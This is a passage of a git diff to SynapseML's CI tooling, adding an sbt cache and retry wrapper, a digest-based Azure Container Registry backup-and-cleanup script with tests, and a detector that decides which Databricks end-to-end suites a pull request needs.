dependencies + inputs: + key: 'sbtcoursier-v1 | "$(Agent.OS)" | project/build.properties | project/*.sbt | **/build.sbt | project/**/*.scala' + restoreKeys: | + sbtcoursier-v1 | "$(Agent.OS)" + sbtcoursier-v1 + path: $(Pipeline.Workspace)/../../.cache/coursier + cacheHitVar: SBT_COURSIER_CACHE_RESTORED + continueOnError: true + - bash: | + set -euo pipefail + exact_hit=false + if [ "$SBT_BOOT_CACHE_RESULT" = "true" ] && + [ "$SBT_IVY_CACHE_RESULT" = "true" ] && + [ "$SBT_COURSIER_CACHE_RESULT" = "true" ]; then + exact_hit=true + echo "All exact sbt caches restored; disabling the cold-cache start stagger" + echo "##vso[task.setvariable variable=SBT_SETUP_MAX_STAGGER_SECONDS]0" + else + echo "Shared sbt caches were unavailable or inexact; warming this agent with staggered retries" + fi + + prewarm="$(printf '%s' "$SBT_CACHE_PREWARM" | tr '[:upper:]' '[:lower:]')" + if [ "$exact_hit" != "true" ] || [ "$prewarm" = "true" ]; then + bash tools/ci/sbt_retry.sh update + fi + displayName: Ensure sbt cache is usable + env: + SBT_BOOT_CACHE_RESULT: $(SBT_BOOT_CACHE_RESTORED) + SBT_IVY_CACHE_RESULT: $(SBT_IVY_CACHE_RESTORED) + SBT_COURSIER_CACHE_RESULT: $(SBT_COURSIER_CACHE_RESTORED) + SBT_CACHE_PREWARM: '${{ parameters.prewarm }}' + SBT_SETUP_MAX_ATTEMPTS: '${{ parameters.maxAttempts }}' + SBT_SETUP_MAX_BACKOFF_SECONDS: '${{ parameters.maxBackoffSeconds }}' diff --git a/tools/acr/clean-acr.py b/tools/acr/clean-acr.py deleted file mode 100644 index 5a4a470e158..00000000000 --- a/tools/acr/clean-acr.py +++ /dev/null @@ -1,86 +0,0 @@ -import os -import json -from azure.storage.blob import BlobClient -import sys -import time -from azure.keyvault.secrets import SecretClient -from azure.identity import DefaultAzureCredential - -credential = DefaultAzureCredential() -""" -run this if sas expires and place result in keyvault under secret name - - IMPORT_SAS=?$(az storage container generate-sas \ - --name acrbackup \ - --account-name mmlspark \ - --expiry 2024-01-01 \ - --permissions rawdl \ - --https-only \ - --output tsv \ - --auth-mode key \ - --account-key ) - echo $IMPORT_SAS -""" - -acr = "mmlsparkmcr" -container = "acrbackup" -rg = "marhamil-mmlspark" -pipeline = "mmlsparkacrexport3" - -keyvaultName = sys.argv[1] -secretName = sys.argv[2] -kvUri = f"https://{keyvaultName}.vault.azure.net" -kvClient = SecretClient(vault_url=kvUri, credential=DefaultAzureCredential()) -conn_string = kvClient.get_secret(secretName).value - - -def retry_command(command, tries): - delay = 5 - for i in range(tries): - print(command) - result = os.system(command) - if result == 0: - break - print(f"Command '{command}' failed. Retrying after {delay} seconds") - time.sleep(delay) - delay = delay * 3 - - return result - - -os.system("az extension add --name acrtransfer") - -repos = json.loads(os.popen(f"az acr repository list -n {acr}").read()) -for repo in repos: - tags = json.loads( - os.popen( - f"az acr repository show-tags -n {acr} --repository {repo} --orderby time_desc" - ).read() - ) - - for tag in tags: - target_blob = repo + "/" + tag + ".tar" - image = repo + ":" + tag - - backup_exists = BlobClient.from_connection_string( - conn_string, container_name=container, blob_name=target_blob - ).exists() - if not backup_exists: - cmd = ( - f"az acr pipeline-run create --resource-group {rg} --registry {acr} --pipeline {pipeline} " - + f"--name {str(abs(hash(target_blob)))} --pipeline-type export --storage-blob {target_blob} -a {image}" - ) - result = retry_command(cmd, 5) - assert result == 0 - print(f"Transferred {target_blob}") - else: - print(f"Skipped existing {image}") - - backup_exists = BlobClient.from_connection_string( - conn_string, container_name=container, blob_name=target_blob - ).exists() - if backup_exists: - print(f"Deleting {image}") - cmd = f"az acr repository delete --name {acr} --image {image} --yes" - result = retry_command(cmd, 5) - assert result == 0 diff --git a/tools/acr/clean_acr.py b/tools/acr/clean_acr.py new file mode 100644 index 00000000000..c3a31d54cbe --- /dev/null +++ b/tools/acr/clean_acr.py @@ -0,0 +1,203 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import hashlib +import json +import re +import subprocess +import time +from datetime import datetime, timezone +from typing import Any, Dict, List + + +ACR_NAME = "mmlsparkmcr" +ACR_RESOURCE_GROUP = "marhamil-mmlspark" +EXPORT_PIPELINE = "mmlsparkacrexport3" +STORAGE_ACCOUNT = "mmlspark" +STORAGE_CONTAINER = "acrbackup" +DIGEST_PATTERN = re.compile(r"^sha256:[0-9a-f]{64}$") + + +def run_az(arguments: List[str], attempts: int = 3) -> str: + delay_seconds = 5 + command = ["az", *arguments, "--only-show-errors"] + + for attempt in range(1, attempts + 1): + result = subprocess.run(command, capture_output=True, text=True, check=False) + if result.returncode == 0: + return result.stdout + if attempt == attempts: + raise RuntimeError( + f"Azure CLI command failed after {attempts} attempts: " + f"{' '.join(command)}\n{result.stderr}" + ) + print( + f"Azure CLI command attempt {attempt} failed; " + f"retrying after {delay_seconds} seconds" + ) + time.sleep(delay_seconds) + delay_seconds *= 3 + + raise AssertionError("unreachable") + + +def run_az_json(arguments: List[str]) -> Any: + return json.loads(run_az([*arguments, "--output", "json"])) + + +def backup_exists(blob_name: str) -> bool: + output = run_az( + [ + "storage", + "blob", + "exists", + "--account-name", + STORAGE_ACCOUNT, + "--container-name", + STORAGE_CONTAINER, + "--name", + blob_name, + "--auth-mode", + "login", + "--query", + "exists", + "--output", + "tsv", + ] + ) + return output.strip().lower() == "true" + + +def pipeline_run_name(target_blob: str) -> str: + digest = hashlib.sha256(target_blob.encode("utf-8")).hexdigest()[:20] + timestamp = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") + return f"synapseml{digest}{timestamp}" + + +def normalize_digest(digest: str) -> str: + normalized = digest.lower() + if not DIGEST_PATTERN.fullmatch(normalized): + raise ValueError(f"Unsupported ACR manifest digest: {digest}") + return normalized + + +def manifest_blob_name(repository: str, digest: str) -> str: + algorithm, value = normalize_digest(digest).split(":", 1) + return f"{repository}/manifests/{algorithm}-{value}.tar" + + +def list_manifests(repository: str) -> List[Dict[str, Any]]: + return run_az_json( + [ + "acr", + "manifest", + "list-metadata", + "--registry", + ACR_NAME, + "--name", + repository, + "--orderby", + "time_desc", + ] + ) + + +def get_manifest_metadata(repository: str, digest: str) -> Dict[str, Any]: + return run_az_json( + [ + "acr", + "manifest", + "show-metadata", + "--registry", + ACR_NAME, + "--name", + f"{repository}@{normalize_digest(digest)}", + ] + ) + + +def export_manifest(repository: str, digest: str, target_blob: str) -> None: + run_az( + [ + "acr", + "pipeline-run", + "create", + "--resource-group", + ACR_RESOURCE_GROUP, + "--registry", + ACR_NAME, + "--pipeline", + EXPORT_PIPELINE, + "--name", + pipeline_run_name(target_blob), + "--pipeline-type", + "export", + "--storage-blob", + target_blob, + "--artifacts", + f"{repository}@{normalize_digest(digest)}", + ], + attempts=5, + ) + + +def delete_manifest(repository: str, digest: str) -> None: + run_az( + [ + "acr", + "repository", + "delete", + "--name", + ACR_NAME, + "--image", + f"{repository}@{normalize_digest(digest)}", + "--yes", + ], + attempts=5, + ) + + +def clean_acr() -> None: + run_az(["extension", "add", "--name", "acrtransfer", "--upgrade"]) + repositories = run_az_json(["acr", "repository", "list", "--name", ACR_NAME]) + + for repository in repositories: + processed_digests = set() + for manifest in list_manifests(repository): + tags = manifest.get("tags") or [] + if not tags: + continue + + digest = normalize_digest(manifest["digest"]) + if digest in processed_digests: + continue + processed_digests.add(digest) + + target_blob = manifest_blob_name(repository, digest) + aliases = ", ".join(sorted(tags)) + + if backup_exists(target_blob): + current = get_manifest_metadata(repository, digest) + current_digest = normalize_digest(current["digest"]) + if current_digest != digest: + raise RuntimeError( + f"Manifest digest changed before deletion: " + f"{repository}@{digest} resolved to {current_digest}" + ) + current_aliases = ", ".join(sorted(current.get("tags") or [])) + print( + f"Confirmed backup for {repository}@{digest}; " + f"deleting manifest aliases: {current_aliases or ''}" + ) + delete_manifest(repository, digest) + else: + export_manifest(repository, digest, target_blob) + print( + f"Queued digest export for {repository}@{digest} " + f"(aliases: {aliases}); deletion is deferred until " + f"{target_blob} is confirmed by a later cleanup run" + ) + + +if __name__ == "__main__": + clean_acr() diff --git a/tools/acr/test_clean_acr.py b/tools/acr/test_clean_acr.py new file mode 100644 index 00000000000..396644c228a --- /dev/null +++ b/tools/acr/test_clean_acr.py @@ -0,0 +1,186 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import re +import subprocess +from unittest.mock import call, patch + +import pytest + +from tools.acr import clean_acr + +DIGEST_A = "sha256:" + ("a" * 64) +DIGEST_B = "sha256:" + ("b" * 64) + + +def completed(stdout="", stderr="", returncode=0): + return subprocess.CompletedProcess( + args=["az"], returncode=returncode, stdout=stdout, stderr=stderr + ) + + +@patch("tools.acr.clean_acr.subprocess.run") +def test_blob_lookup_uses_entra_authentication(run): + run.return_value = completed(stdout="true\n") + + assert clean_acr.backup_exists("repo/tag.tar") + + command = run.call_args.args[0] + assert "--auth-mode" in command + assert command[command.index("--auth-mode") + 1] == "login" + assert "account-key" not in " ".join(command) + assert "connection-string" not in " ".join(command) + + +@patch("tools.acr.clean_acr.time.sleep") +@patch("tools.acr.clean_acr.subprocess.run") +def test_azure_cli_retries_and_surfaces_the_final_error(run, sleep): + run.side_effect = [ + completed(stderr="temporary", returncode=1), + completed(stderr="permanent", returncode=1), + ] + + with pytest.raises(RuntimeError, match="permanent"): + clean_acr.run_az(["account", "show"], attempts=2) + + assert sleep.call_args_list == [call(5)] + + +def test_pipeline_run_name_meets_acr_resource_constraints(): + name = clean_acr.pipeline_run_name(f"repo/manifests/sha256-{'a' * 64}.tar") + + assert 5 <= len(name) <= 50 + assert re.fullmatch(r"[a-zA-Z0-9]+", name) + + +def test_manifest_backup_is_keyed_by_immutable_digest(): + blob = clean_acr.manifest_blob_name("repo/path", DIGEST_A) + + assert blob == f"repo/path/manifests/sha256-{'a' * 64}.tar" + + +def test_manifest_backup_rejects_invalid_digest(): + with pytest.raises(ValueError, match="Unsupported ACR manifest digest"): + clean_acr.manifest_blob_name("repo", "latest") + + +@patch( + "tools.acr.clean_acr.pipeline_run_name", + return_value="synapseml794a1ed53092878b267120260801030000", +) +@patch("tools.acr.clean_acr.run_az") +def test_export_uses_digest_and_valid_pipeline_run_name(run_az, pipeline_run_name): + target_blob = clean_acr.manifest_blob_name("repo", DIGEST_A) + + clean_acr.export_manifest("repo", DIGEST_A, target_blob) + + command = run_az.call_args.args[0] + assert command[command.index("--artifacts") + 1] == f"repo@{DIGEST_A}" + assert command[command.index("--storage-blob") + 1] == target_blob + assert ( + command[command.index("--name") + 1] + == "synapseml794a1ed53092878b267120260801030000" + ) + pipeline_run_name.assert_called_once_with(target_blob) + + +@patch("tools.acr.clean_acr.delete_manifest") +@patch("tools.acr.clean_acr.export_manifest") +@patch("tools.acr.clean_acr.get_manifest_metadata") +@patch("tools.acr.clean_acr.backup_exists") +@patch("tools.acr.clean_acr.list_manifests") +@patch("tools.acr.clean_acr.run_az_json") +@patch("tools.acr.clean_acr.run_az") +def test_cleanup_defers_deletion_after_queuing_export( + run_az, + run_az_json, + list_manifests, + backup_exists, + get_manifest_metadata, + export_manifest, + delete_manifest, +): + run_az_json.return_value = ["repo"] + list_manifests.return_value = [{"digest": DIGEST_A, "tags": ["1.0.0", "latest"]}] + backup_exists.return_value = False + + clean_acr.clean_acr() + + export_manifest.assert_called_once_with( + "repo", + DIGEST_A, + clean_acr.manifest_blob_name("repo", DIGEST_A), + ) + get_manifest_metadata.assert_not_called() + delete_manifest.assert_not_called() + + +@patch("tools.acr.clean_acr.delete_manifest") +@patch("tools.acr.clean_acr.export_manifest") +@patch("tools.acr.clean_acr.get_manifest_metadata") +@patch("tools.acr.clean_acr.backup_exists") +@patch("tools.acr.clean_acr.list_manifests") +@patch("tools.acr.clean_acr.run_az_json") +@patch("tools.acr.clean_acr.run_az") +def test_cleanup_deletes_digest_once_after_backup_and_revalidation( + run_az, + run_az_json, + list_manifests, + backup_exists, + get_manifest_metadata, + export_manifest, + delete_manifest, +): + run_az_json.return_value = ["repo"] + list_manifests.return_value = [ + {"digest": DIGEST_A, "tags": ["1.0.0", "latest"]}, + {"digest": DIGEST_A, "tags": ["duplicate-entry"]}, + ] + backup_exists.return_value = True + get_manifest_metadata.return_value = { + "digest": DIGEST_A, + "tags": ["1.0.0", "latest"], + } + + clean_acr.clean_acr() + + export_manifest.assert_not_called() + get_manifest_metadata.assert_called_once_with("repo", DIGEST_A) + delete_manifest.assert_called_once_with("repo", DIGEST_A) + + +@patch("tools.acr.clean_acr.delete_manifest") +@patch("tools.acr.clean_acr.export_manifest") +@patch("tools.acr.clean_acr.get_manifest_metadata") +@patch("tools.acr.clean_acr.backup_exists") +@patch("tools.acr.clean_acr.list_manifests") +@patch("tools.acr.clean_acr.run_az_json") +@patch("tools.acr.clean_acr.run_az") +def test_cleanup_handles_moved_tag_without_reusing_old_backup( + run_az, + run_az_json, + list_manifests, + backup_exists, + get_manifest_metadata, + export_manifest, + delete_manifest, +): + run_az_json.return_value = ["release"] + list_manifests.return_value = [ + {"digest": DIGEST_A, "tags": ["1.0.0"]}, + {"digest": DIGEST_B, "tags": ["latest"]}, + ] + backup_exists.side_effect = [True, False] + get_manifest_metadata.return_value = { + "digest": DIGEST_A, + "tags": ["1.0.0"], + } + + clean_acr.clean_acr() + + delete_manifest.assert_called_once_with("release", DIGEST_A) + export_manifest.assert_called_once_with( + "release", + DIGEST_B, + clean_acr.manifest_blob_name("release", DIGEST_B), + ) diff --git a/tools/ci/README.md b/tools/ci/README.md new file mode 100644 index 00000000000..64bdd19c0f8 --- /dev/null +++ b/tools/ci/README.md @@ -0,0 +1,72 @@ +# CI bootstrap helpers + +## `sbt_retry.sh` — resilient sbt bootstrap + +SynapseML's Azure Pipelines (`pipeline.yaml`) fans out ~30 hosted-agent matrix +jobs. Each one cold-bootstraps the sbt launcher (`org.scala-sbt:sbt:`, +pinned in `project/build.properties`) and resolves Ivy dependencies from public +Maven Central. When many fresh agents — and several overlapping PR builds — do +this simultaneously, Maven Central returns **HTTP 429 (rate limit)** and the +`Setup repo` step fails before any test runs (e.g. ADO build 229124511). + +The durable fix has three layers: + +1. **`templates/sbt_cache.yml`** (primary) — Azure `Cache@2` for the sbt launcher + boot directory (`~/.sbt/boot`), Ivy cache (`~/.ivy2/cache`), and Coursier + cache (`~/.cache/coursier`). In steady state, jobs restore these from Azure's + cache service and never touch Maven Central. Keys are derived from the + bootstrap inputs (`project/build.properties`, `project/plugins.sbt`, + `build.sbt`, and `project` Scala sources). `continueOnError` keeps a cache + service outage non-fatal. +2. **`BuildAndCacheSbt` prewarm job** — warms those caches once per pipeline run + (mirrors the existing `BuildAndCacheCondaEnv` job). Every sbt-running job + depends on this gate, so a new cache key is populated before the fan-out + starts instead of racing it. A failed prewarm remains visible and prevents a + cold-cache stampede. +3. **`sbt_retry.sh`** (supplement) — smooths the *cold-cache* path only. It adds a + bounded random start stagger so concurrent cold jobs don't hit Maven at the + same instant, then bounded jittered exponential-backoff retries. On exhaustion + it fails visibly (non-zero exit); it never masks a failure with a success + fallback. Exact hits on all three caches disable the start stagger + automatically. + +### Tests + +```bash +python -m pytest tools/ci/tests/ -v +``` + +`test_sbt_retry.py` drives the wrapper with a fake `sbt` (deterministic, no real +sleeps) to verify retry/backoff/stagger and visible-failure behaviour. +`test_pipeline_yaml.py` verifies `pipeline.yaml` parses and that every +sbt-running job is wired to the shared cache template + prewarm job. + +## `databricks_impact.py` — conservative PR E2E gating + +The `BuildAndCacheSbt` job compares a pull request with its target branch and +uses `databricks_impact.py` to decide independently whether the five CPU matrix +jobs and the GPU matrix job can be skipped. Scheduled, master, tag, and manual +builds always run both suites. + +The detector mirrors the enabled test suites: + +- CPU runs for runtime changes in any module and non-GPU notebooks. +- GPU runs for shared core/deep-learning runtime changes and the three + `Fine-tune`/`Phi Model` notebooks selected by `DatabricksGPUTests`. +- Databricks utility changes are assigned to CPU, GPU, or both according to + which suite imports them. + +The detector is fail-open. Unknown paths, build definitions, templates, +environment files, shared test infrastructure, missing diffs, and detection +errors run both suites. It skips both suites only for paths known not to affect +runtime artifacts or notebook execution: + +- GitHub metadata and workflows +- unrelated pipelines and ACR/Docker/Helm tooling +- CI helper code under `tools/ci/` +- website files +- Markdown/reStructuredText documentation +- module test source outside the Databricks notebook and shared test infrastructure + +Unknown non-notebook assets under `docs/` remain fail-open because notebooks may +load adjacent data or configuration files. diff --git a/tools/ci/databricks_impact.py b/tools/ci/databricks_impact.py new file mode 100644 index 00000000000..91824ac86b1 --- /dev/null +++ b/tools/ci/databricks_impact.py @@ -0,0 +1,210 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +"""Conservatively decide which Databricks E2E suites a PR must run.""" + +import argparse +import sys +from pathlib import PurePosixPath +from typing import FrozenSet, Iterable, List, Optional + + +SAFE_PREFIXES = ( + ".github/", + ".pipelines/", + "tools/acr/", + "tools/ci/", + "tools/docker/", + "tools/helm/", + "website/", +) + +SAFE_EXACT_PATHS = { + ".gitattributes", + ".gitignore", + "CODEOWNERS", + "CONTRIBUTORS.md", + "LICENSE", + "README.md", + "SECURITY.md", +} + +TEST_SOURCE_SEGMENTS = ( + "/src/test/python/", + "/src/test/r/", + "/src/test/scala/", +) + +CPU_SUITE = "cpu" +GPU_SUITE = "gpu" +ALL_SUITES = frozenset((CPU_SUITE, GPU_SUITE)) +NO_SUITES: FrozenSet[str] = frozenset() + +ALL_RUNTIME_PREFIXES = ( + "core/src/main/", + "deep-learning/src/main/", +) + +CPU_RUNTIME_PREFIXES = ( + "cognitive/src/main/", + "lightgbm/src/main/", + "opencv/src/main/", + "vw/src/main/", +) + +ALL_DATABRICKS_TEST_PATHS = { + "core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SharedNotebookE2ETestUtilities.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SprayUtilities.scala", +} + +CPU_DATABRICKS_TEST_PATHS = { + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksCPUTests.scala", +} + +GPU_DATABRICKS_TEST_PATHS = { + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksRapidsTests.scala", +} + +ALL_DATABRICKS_TEST_PREFIXES = ( + "core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/base/", +) + +GPU_NOTEBOOK_MARKERS = ( + "fine-tune", + "phi model", +) + +SAFE_DOCUMENTATION_SUFFIXES = ( + ".md", + ".rst", +) + + +def normalize_repo_path(raw_path: str) -> Optional[str]: + """Return a normalized relative repository path, or None when unsafe.""" + path = raw_path.replace("\\", "/") + while path.startswith("./"): + path = path[2:] + + parsed = PurePosixPath(path) + if not path or parsed.is_absolute() or ".." in parsed.parts: + return None + return parsed.as_posix() + + +def databricks_suites_for_path(raw_path: str) -> FrozenSet[str]: + """Return the Databricks suites affected by a repository path.""" + path = normalize_repo_path(raw_path) + if path is None: + return ALL_SUITES + + if path in ALL_DATABRICKS_TEST_PATHS or path.startswith( + ALL_DATABRICKS_TEST_PREFIXES + ): + return ALL_SUITES + if path in CPU_DATABRICKS_TEST_PATHS: + return frozenset((CPU_SUITE,)) + if path in GPU_DATABRICKS_TEST_PATHS: + return frozenset((GPU_SUITE,)) + + lower_path = path.lower() + if path in SAFE_EXACT_PATHS or lower_path.endswith(SAFE_DOCUMENTATION_SUFFIXES): + return NO_SUITES + if path.startswith(SAFE_PREFIXES): + return NO_SUITES + + if path.startswith("docs/"): + if lower_path.endswith("/.ds_store"): + return NO_SUITES + if not lower_path.endswith(".ipynb"): + return ALL_SUITES + if any(marker in lower_path for marker in GPU_NOTEBOOK_MARKERS): + return frozenset((GPU_SUITE,)) + return frozenset((CPU_SUITE,)) + + if path.startswith(ALL_RUNTIME_PREFIXES): + return ALL_SUITES + if path.startswith(CPU_RUNTIME_PREFIXES): + return frozenset((CPU_SUITE,)) + if any(segment in lower_path for segment in TEST_SOURCE_SEGMENTS): + return NO_SUITES + return ALL_SUITES + + +def databricks_impacting_paths(paths: Iterable[str], suite: str) -> List[str]: + """Return paths that require a suite; an empty input is fail-open.""" + if suite not in ALL_SUITES: + raise ValueError(f"Unknown Databricks suite: {suite}") + + changed_paths = list(paths) + if not changed_paths: + return [""] + return [path for path in changed_paths if suite in databricks_suites_for_path(path)] + + +def should_run_databricks(paths: Iterable[str], suite: str = "all") -> bool: + changed_paths = list(paths) + if suite == "all": + return any( + databricks_impacting_paths(changed_paths, candidate) + for candidate in ALL_SUITES + ) + return bool(databricks_impacting_paths(changed_paths, suite)) + + +def read_paths(null_delimited: bool) -> List[str]: + data = sys.stdin.buffer.read() + chunks = data.split(b"\0") if null_delimited else data.splitlines() + return [ + chunk.decode("utf-8", errors="surrogateescape") for chunk in chunks if chunk + ] + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument( + "--null", + action="store_true", + help="Read NUL-delimited paths, as emitted by git diff --name-only -z.", + ) + parser.add_argument( + "--suite", + choices=(CPU_SUITE, GPU_SUITE, "all"), + default="all", + help="Databricks suite to evaluate.", + ) + args = parser.parse_args() + + changed_paths = read_paths(args.null) + suites = ALL_SUITES if args.suite == "all" else (args.suite,) + impacting_paths = { + suite: databricks_impacting_paths(changed_paths, suite) for suite in suites + } + should_run = any(impacting_paths.values()) + if should_run: + details = "; ".join( + f"{suite}: {', '.join(paths)}" + for suite, paths in impacting_paths.items() + if paths + ) + print( + f"Databricks {args.suite} E2E required by: {details}", + file=sys.stderr, + ) + print("true") + else: + print( + f"All {len(changed_paths)} changed path(s) are clearly non-impacting " + f"for Databricks {args.suite} E2E.", + file=sys.stderr, + ) + print("false") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/ci/get_sbt_version.sh b/tools/ci/get_sbt_version.sh new file mode 100755 index 00000000000..e08ae7c2dad --- /dev/null +++ b/tools/ci/get_sbt_version.sh @@ -0,0 +1,21 @@ +#!/usr/bin/env bash + +set -euo pipefail + +SBT_CMD="${SBT_VERSION_SBT_CMD:-sbt}" + +version="$( + "$SBT_CMD" "core/version" | + sed 's/\x1b\[[0-9;]*m//g' | + tail -1 | + cut -d' ' -f2 +)" + +if [ -z "$version" ] || + [[ "$version" =~ [[:space:]] ]] || + [[ ! "$version" =~ ^([0-9]|HEAD-) ]]; then + echo "Unable to resolve a valid SynapseML package version from sbt" >&2 + exit 1 +fi + +printf '%s\n' "$version" diff --git a/tools/ci/sbt_retry.sh b/tools/ci/sbt_retry.sh new file mode 100755 index 00000000000..8771f820632 --- /dev/null +++ b/tools/ci/sbt_retry.sh @@ -0,0 +1,122 @@ +#!/usr/bin/env bash +# +# sbt_retry.sh - resilient sbt bootstrap wrapper for CI. +# +# Problem +# ------- +# SynapseML's Azure Pipelines fans out ~30 hosted-agent matrix jobs that each +# cold-bootstrap the sbt launcher (org.scala-sbt:sbt:, pinned in +# project/build.properties) and the project's Ivy dependencies from public +# Maven Central. When many fresh agents (and several overlapping PR builds) do +# this at the same instant, Maven Central replies with HTTP 429 (rate limit) +# and "Setup repo" fails before any test runs. +# +# Durable fix (primary) +# --------------------- +# The Azure Cache@2 sbt-boot / Ivy caches in templates/sbt_cache.yml, warmed by +# the BuildAndCacheSbt prewarm job, mean steady-state builds restore the sbt +# launcher and resolved dependencies from Azure's cache service and never touch +# Maven Central. That eliminates the herd for the vast majority of builds. +# +# Role of this script (supplement) +# -------------------------------- +# This wrapper only smooths the *cold-cache* path (the first build for a new sbt +# version or a changed dependency set, when the cache key legitimately misses). +# It adds a bounded random start stagger so concurrent cold jobs do not hit +# Maven Central at the same instant, followed by bounded jittered exponential +# backoff retries. On exhaustion it fails visibly with a non-zero exit code; it +# never masks a failure with a success fallback. +# +# Usage +# ----- +# bash tools/ci/sbt_retry.sh +# e.g. bash tools/ci/sbt_retry.sh setup +# bash tools/ci/sbt_retry.sh -J--add-opens=java.prefs/... setup +# +# Tunables (environment; defaults are production values, overrides enable +# deterministic tests): +# SBT_SETUP_MAX_ATTEMPTS total attempts (default 5) +# SBT_SETUP_TIMEOUT per-attempt timeout (default 5m; +# empty string disables the timeout wrapper) +# SBT_SETUP_MAX_STAGGER_SECONDS max random start stagger (default 60; 0 off) +# SBT_SETUP_BASE_BACKOFF_SECONDS backoff base + jitter span (default 20; 0 off) +# SBT_SETUP_MAX_BACKOFF_SECONDS backoff cap (default 120) +# SBT_SETUP_SBT_CMD sbt executable (default sbt) +# SBT_SETUP_SLEEP_CMD sleep command (default sleep) +# SBT_SETUP_RANDOM fixed RNG value for tests (default $RANDOM) +# +set -uo pipefail + +MAX_ATTEMPTS="${SBT_SETUP_MAX_ATTEMPTS:-5}" +TIMEOUT_DURATION="${SBT_SETUP_TIMEOUT-5m}" +MAX_STAGGER="${SBT_SETUP_MAX_STAGGER_SECONDS:-60}" +BASE_BACKOFF="${SBT_SETUP_BASE_BACKOFF_SECONDS:-20}" +MAX_BACKOFF="${SBT_SETUP_MAX_BACKOFF_SECONDS:-120}" +SBT_CMD="${SBT_SETUP_SBT_CMD:-sbt}" +SLEEP_CMD="${SBT_SETUP_SLEEP_CMD:-sleep}" + +if [ "$#" -eq 0 ]; then + echo "sbt_retry.sh: no sbt arguments provided" >&2 + exit 2 +fi + +# Return a non-negative integer < $1. Deterministic when SBT_SETUP_RANDOM is set. +rand_below() { + local bound="$1" + if [ "$bound" -le 0 ]; then + echo 0 + return 0 + fi + local r + if [ -n "${SBT_SETUP_RANDOM:-}" ]; then + r="$SBT_SETUP_RANDOM" + else + r="$RANDOM" + fi + echo $(( r % bound )) +} + +run_sbt() { + if [ -n "$TIMEOUT_DURATION" ] && command -v timeout >/dev/null 2>&1; then + timeout "$TIMEOUT_DURATION" "$SBT_CMD" "$@" + else + "$SBT_CMD" "$@" + fi +} + +# Bounded random start stagger to desynchronise concurrent cold bootstraps. +if [ "$MAX_STAGGER" -gt 0 ]; then + stagger="$(rand_below "$((MAX_STAGGER + 1))")" + if [ "$stagger" -gt 0 ]; then + echo "sbt_retry: staggering start by ${stagger}s to avoid Maven Central thundering herd" + "$SLEEP_CMD" "$stagger" + fi +fi + +attempt=1 +while : ; do + echo "sbt_retry: attempt ${attempt}/${MAX_ATTEMPTS}: ${SBT_CMD} $*" + # Capture sbt's exit status directly: an `if run_sbt; then ...; fi` compound + # returns 0 when the condition fails and no else branch runs, which would mask + # the real failure code. + run_sbt "$@" + status=$? + if [ "$status" -eq 0 ]; then + echo "sbt_retry: succeeded on attempt ${attempt}" + exit 0 + fi + if [ "$attempt" -ge "$MAX_ATTEMPTS" ]; then + echo "sbt_retry: exhausted ${MAX_ATTEMPTS} attempts; failing (last exit ${status})" >&2 + exit "$status" + fi + # Exponential backoff (base * 2^(attempt-1)) capped, plus bounded jitter. + backoff=$(( BASE_BACKOFF * (1 << (attempt - 1)) )) + if [ "$backoff" -gt "$MAX_BACKOFF" ]; then + backoff="$MAX_BACKOFF" + fi + jitter="$(rand_below "$((BASE_BACKOFF + 1))")" + delay=$(( backoff + jitter )) + echo "sbt_retry: attempt ${attempt} failed (exit ${status}); retrying in ${delay}s" + "$SLEEP_CMD" "$delay" + attempt=$(( attempt + 1 )) +done diff --git a/tools/ci/tests/test_databricks_impact.py b/tools/ci/tests/test_databricks_impact.py new file mode 100644 index 00000000000..43bdb0cbdcc --- /dev/null +++ b/tools/ci/tests/test_databricks_impact.py @@ -0,0 +1,136 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import subprocess +import sys + +from tools.ci.databricks_impact import CPU_SUITE, GPU_SUITE, should_run_databricks + + +def test_skips_clearly_non_impacting_changes(): + paths = [ + ".github/workflows/pr-validation.yml", + ".pipelines/clean-acr.yml", + "docs/Reference/Developer Setup.md", + "website/src/pages/index.js", + "tools/acr/clean-acr.py", + "tools/ci/tests/test_pipeline_yaml.py", + "tools/docker/minimal/Dockerfile", + "lightgbm/src/test/scala/example/TrainUtilsSuite.scala", + "core/src/test/python/synapsemltest/test_core.py", + ] + assert not should_run_databricks(paths, CPU_SUITE) + assert not should_run_databricks(paths, GPU_SUITE) + + +def test_cpu_runs_for_cpu_runtime_and_notebooks_only(): + cpu_paths = [ + "cognitive/src/main/scala/example/Service.scala", + "lightgbm/src/main/scala/example/TrainUtils.scala", + "docs/Explore Algorithms/LightGBM/Quickstart.ipynb", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksCPUTests.scala", + ] + for path in cpu_paths: + assert should_run_databricks([path], CPU_SUITE), path + assert not should_run_databricks([path], GPU_SUITE), path + + +def test_gpu_runs_for_gpu_runtime_and_notebooks_only(): + gpu_paths = [ + "docs/Explore Algorithms/Deep Learning/Quickstart - Fine-tune a Text Classifier.ipynb", + "docs/Explore Algorithms/Deep Learning/Quickstart - Apply Phi Model.ipynb", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala", + ] + for path in gpu_paths: + assert should_run_databricks([path], GPU_SUITE), path + assert not should_run_databricks([path], CPU_SUITE), path + + +def test_shared_runtime_build_and_test_infrastructure_runs_both_suites(): + shared_paths = [ + "core/src/main/scala/example/Transformer.scala", + "deep-learning/src/main/scala/example/DeepLearning.scala", + 